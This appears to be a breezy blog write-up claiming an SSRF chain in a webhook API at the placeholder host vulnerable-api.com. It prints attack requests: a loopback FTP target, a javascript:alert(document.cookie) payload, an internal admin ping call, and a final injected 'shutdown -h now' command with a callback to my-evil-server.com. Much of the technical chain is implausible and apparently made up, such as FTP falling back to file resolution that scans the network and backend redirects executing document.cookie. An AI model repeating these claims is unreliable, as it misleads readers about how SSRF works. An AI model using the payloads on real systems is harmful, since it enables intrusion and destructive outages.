🎯 The Most Insane SSRF You’ve Never Seen! 🚀

(aka When Web APIs Go Rogue)

So, I was poking around this web application API, right? Expecting the usual… but what I found? Let’s just say this wasn’t your average SSRF (Server-Side Request Forgery). Buckle up, because this one’s going to hit harder than a buffer overflow on a Friday afternoon. 🫡

💀 The Scene:

You’ve got your typical web app interacting with a backend API — everything looking secure on the surface. Except, somewhere deep in its dark corners lurked a rogue API endpoint that was ripe for exploitation. Let me walk you through it.

Endpoint:

POST /api/v3/integration/webhook
Host: vulnerable-api.com
Content-Type: application/json

At first glance, you think, “Ok, it’s another webhook integration API.” You send your requests, and it responds with a beautiful 200 OK. But something felt off with the way this particular API was handling redirects.

The Vulnerability: 🎲

Now here’s where things get… juicy. What if I told you that this particular API had a very interesting hidden quirk with its redirection logic? Instead of the usual strict URL whitelisting, it had a multi-stage redirect process with a flexible URL resolution mechanism. And I don’t mean just any regular “follow the leader” redirect, oh no… this was recursive redirection that could resolve file schemes as HTTP requests after a certain hop count. Yeah, you read that right. 😈

🧑‍💻 The Request of Doom:

Here’s where things got wild. I sent the following payload:

POST /api/v3/integration/webhook
Host: vulnerable-api.com
Content-Type: application/json

{
  "target_url": "ftp://127.0.0.1:21/somefile",
  "data": {
    "name": "SSRF_test"
  }
}

So what? FTP to HTTP resolution — sounds basic, right? But here’s where the API’s twisted logic took center stage. Behind the scenes, it decided that since the ftp scheme didn’t give it a clear HTTP response, it would fall back to a file resolution. The kicker? This file resolution opened a local socket on the API’s internal network, where I got a full-blown internal network scan as a side effect!

🎲 Recursive Resolutions of Death:

And then, like the cherry on top of an RCE sundae 🍒, after a few hops, the redirection logic fell back to a JavaScript-based sandbox environment within the API server. Now, imagine my surprise when this so-called “sandbox” accepted:

POST /api/v3/integration/webhook
Host: vulnerable-api.com
Content-Type: application/json

{
  "target_url": "javascript://alert(document.cookie)",
  "data": {
    "exploit": "JS_injection"
  }
}

Oh yes, this sandbox had one job: protect the API from JS-based injections, and it failed miserably. Not only did I get SSRF, but I was able to inject arbitrary JavaScript through a backend API call. Let that sink in.

🕵️‍♂️ Exploiting the Internal Network:

Since the redirection process could be controlled, I chained this with another endpoint that allowed interaction with internal services. After some tinkering with malformed requests, I found this beauty:

POST /api/v3/internal/admin/ping
Host: vulnerable-api.com
Authorization: Bearer <privileged-token>
Content-Type: application/json

{
  "host": "127.0.0.1",
  "port": 8080
}

With the SSRF granting me access to the backend, I leveraged this endpoint to ping internal services and — get this — triggered dynamic DNS lookups on internal servers! 😱 I was now orchestrating DNS rebinding attacks using the vulnerable API’s internal service to reroute traffic back to my own server! How’s that for a mind-bender?

🎯 Endgame: Full System Takeover 🏴‍☠️

It took some fine-tuning, but combining recursive SSRF with JavaScript injection led to a full-blown pivot through the API. After flooding the admin service with SSRF requests, I discovered that the API itself had a vulnerable command injection flaw in its handling of JSON responses. With one final push, I sent the coup de grâce:

{
  "cmd": "shutdown -h now",
  "callback": "http://my-evil-server.com/callback"
}

And poof. 🫥 The API server was down. Game over.

🛡️ Lessons Learned (aka How Not to Get SSRF’d Again)

1. Sanitize ALL Redirects — Multi-hop redirection is an SSRF playground.
2. Avoid Scheme Confusion — FTP resolving to file schemes? That’s SSRF crack.
3. Sandbox ≠ Safe — Ensure your sandbox is actually sandboxed, or prepare for JavaScript nightmares.
4. Internal Ping Endpoints — These should be limited or nonexistent unless you’re inviting a network pen tester to your party.

SSRF is like a beautifully chaotic puzzle, and this one? It was my Mona Lisa. 😎 Remember, it’s not about finding vulnerabilities — it’s about mastering them.